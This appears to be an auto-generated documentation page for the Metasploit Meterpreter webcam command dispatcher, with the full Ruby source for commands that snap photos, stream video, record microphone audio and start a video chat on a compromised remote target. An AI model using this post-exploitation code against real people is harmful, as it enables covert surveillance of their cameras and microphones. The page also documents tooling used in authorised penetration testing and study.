Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Webcam

Inherits:

Object

Object
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Webcam

show all

Includes:: Extensions::Stdapi, Rex::Post::Meterpreter::Ui::Console::CommandDispatcher, Stream

Defined in:: lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb

Overview

Webcam - Capture video from the remote system

Constant Summary collapse

Klass =

Console::CommandDispatcher::Stdapi::Webcam

Constants included from Extensions::Stdapi

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

#cmd_record_mic(*args) ⇒ Object
#cmd_webcam_chat(*args) ⇒ Object
#cmd_webcam_list ⇒ Object
#cmd_webcam_snap(*args) ⇒ Object
#cmd_webcam_stream(*args) ⇒ Object
#commands ⇒ Object

List of supported commands.
#name ⇒ Object

Name for this dispatcher.

Instance Method Details

#cmd_record_mic(*args) ⇒ `Object`

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 246

def cmd_record_mic(*args)
  path = Rex::Text.rand_text_alpha(8) + ".wav"
  play = true
  duration = 1

  record_mic_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner" ],
    "-d" => [ true, "Number of seconds to record (Default: 1)" ],
    "-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ],
    "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
  )

  record_mic_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: record_mic [options]\n")
      print_line("Records audio from the default microphone.")
      print_line(record_mic_opts.usage)
      return
    when "-d"
      duration = val.to_i
    when "-f"
      path = val
    when "-p"
      play = false if val =~ /^(f|n|0)/i
    end
  end

  print_status("Starting...")
  data = client.webcam.record_mic(duration)
  print_status("Stopped")

  if data
    ::File.open(path, 'wb') do |fd|
      fd.write(data)
    end
    path = ::File.expand_path(path)
    print_line("Audio saved to: #{path}")
    Rex::Compat.play_sound(path) if play
  end
  true
end

#cmd_webcam_chat(*args) ⇒ `Object`

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 128

def cmd_webcam_chat(*args)
  if client.webcam.webcam_list.length == 0
    print_error("Target does not have a webcam")
    return
  end

  server = 'wsnodejs.jit.su:80'

  webcam_chat_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help banner"],
    "-s" => [ false, "WebSocket server" ]
  )

  webcam_chat_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: webcam_chat [options]\n")
      print_line("Starts a video conversation with your target.")
      print_line("Browser Requirements:")
      print_line("Chrome: version 23 or newer")
      print_line("Firefox: version 22 or newer")
      print_line(webcam_chat_opts.usage)
      return
    when "-s"
      server = val.to_s
    end
  end

  begin
    print_status("Webcam chat session initialized.")
    client.webcam.webcam_chat(server)
  rescue RuntimeError => e
    print_error(e.message)
  end
end

#cmd_webcam_list ⇒ `Object`

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 58

def cmd_webcam_list
  if client.webcam.webcam_list.length == 0
    print_error("No webcams were found")
    return
  end

  client.webcam.webcam_list.each_with_index do |name, indx|
    print_line("#{indx + 1}: #{name}")
  end
end

#cmd_webcam_snap(*args) ⇒ `Object`

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 69

def cmd_webcam_snap(*args)
  if client.webcam.webcam_list.length == 0
    print_error("Target does not have a webcam")
    return
  end

  path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
  quality = 50
  view    = true
  index   = 1

  webcam_snap_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner" ],
    "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
    "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
    "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
    "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
  )

  webcam_snap_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: webcam_snap [options]\n")
      print_line("Grab a frame from the specified webcam.")
      print_line(webcam_snap_opts.usage)
      return
    when "-i"
      index = val.to_i
    when "-q"
      quality = val.to_i
    when "-p"
      path = val
    when "-v"
      view = false if val =~ /^(f|n|0)/i
    end
  end

  begin
    print_status("Starting...")
    client.webcam.webcam_start(index)
    webcam_started = true
    data = client.webcam.webcam_get_frame(quality)
    print_good("Got frame")
  ensure
    client.webcam.webcam_stop if webcam_started
    print_status("Stopped")
  end

  if data
    ::File.open(path, 'wb') do |fd|
      fd.write(data)
    end
    path = ::File.expand_path(path)
    print_line("Webcam shot saved to: #{path}")
    Rex::Compat.open_file(path) if view
  end
  true
end

#cmd_webcam_stream(*args) ⇒ `Object`

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 164

def cmd_webcam_stream(*args)
  if client.webcam.webcam_list.length == 0
    print_error("Target does not have a webcam")
    return
  end

  print_status("Starting...")
  stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
  player_path = Rex::Text.rand_text_alpha(8) + ".html"
  duration = 1800
  quality  = 50
  view     = true
  index    = 1

  webcam_snap_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner" ],
    "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
    "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
    "-q" => [ true, "The stream quality (Default: '#{quality}')" ],
    "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
    "-t" => [ true, "The stream player path (Default: #{player_path})"],
    "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
  )

  webcam_snap_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: webcam_stream [options]\n")
      print_line("Stream from the specified webcam.")
      print_line(webcam_snap_opts.usage)
      return
    when "-d"
      duration = val.to_i
    when "-i"
      index = val.to_i
    when "-q"
      quality = val.to_i
    when "-s"
      stream_path = val
    when "-t"
      player_path = val
    when "-v"
      view = false if val =~ /^(f|n|0)/i
    end
  end

  print_status("Preparing player...")
  html = stream_html_template('screenshare', client.sock.peerhost, stream_path)
  ::File.open(player_path, 'wb') do |f|
    f.write(html)
  end
  path = ::File.expand_path(player_path)
  if view
    print_status("Opening player at: #{path}")
    Rex::Compat.open_file(path)
  else
    print_status("Please open the player manually with a browser: #{path}")
  end

  print_status("Streaming...")
  begin
    client.webcam.webcam_start(index)
    webcam_started = true
    ::Timeout.timeout(duration) do
      while client do
        data = client.webcam.webcam_get_frame(quality)
        if data
          ::File.open(stream_path, 'wb') do |f|
            f.write(data)
          end
          data = nil
        end
      end
    end
  rescue ::Timeout::Error
  ensure
    client.webcam.webcam_stop if webcam_started
  end

  print_status("Stopped")
end

#commands ⇒ `Object`

List of supported commands.

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 25

def commands
  all = {
    'webcam_chat'   => 'Start a video chat',
    'webcam_list'   => 'List webcams',
    'webcam_snap'   => 'Take a snapshot from the specified webcam',
    'webcam_stream' => 'Play a video stream from the specified webcam',
    'record_mic'    => 'Record audio from the default microphone for X seconds'
  }
  reqs = {
    'webcam_chat'   => [COMMAND_ID_STDAPI_WEBCAM_LIST],
    'webcam_list'   => [COMMAND_ID_STDAPI_WEBCAM_LIST],
    'webcam_snap'   => [
      COMMAND_ID_STDAPI_WEBCAM_START,
      COMMAND_ID_STDAPI_WEBCAM_GET_FRAME,
      COMMAND_ID_STDAPI_WEBCAM_STOP
    ],
    'webcam_stream' => [
      COMMAND_ID_STDAPI_WEBCAM_START,
      COMMAND_ID_STDAPI_WEBCAM_GET_FRAME,
      COMMAND_ID_STDAPI_WEBCAM_STOP
    ],
    'record_mic'    => [COMMAND_ID_STDAPI_WEBCAM_AUDIO_RECORD]
  }
  filter_commands(all, reqs)
end

#name ⇒ `Object`

Name for this dispatcher



54
55
56

# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 54

def name
  'Stdapi: Webcam'
end

Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Webcam

Overview

Constant Summary collapse

Constants included from Extensions::Stdapi

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

Instance Method Summary collapse

Methods included from Stream

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

Methods included from Msf::Ui::Console::CommandDispatcher::Session

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

Instance Method Details

#cmd_record_mic(*args) ⇒ Object

#cmd_webcam_chat(*args) ⇒ Object

#cmd_webcam_list ⇒ Object

#cmd_webcam_snap(*args) ⇒ Object

#cmd_webcam_stream(*args) ⇒ Object

#commands ⇒ Object

#name ⇒ Object

#cmd_record_mic(*args) ⇒ `Object`

#cmd_webcam_chat(*args) ⇒ `Object`

#cmd_webcam_list ⇒ `Object`

#cmd_webcam_snap(*args) ⇒ `Object`

#cmd_webcam_stream(*args) ⇒ `Object`

#commands ⇒ `Object`

#name ⇒ `Object`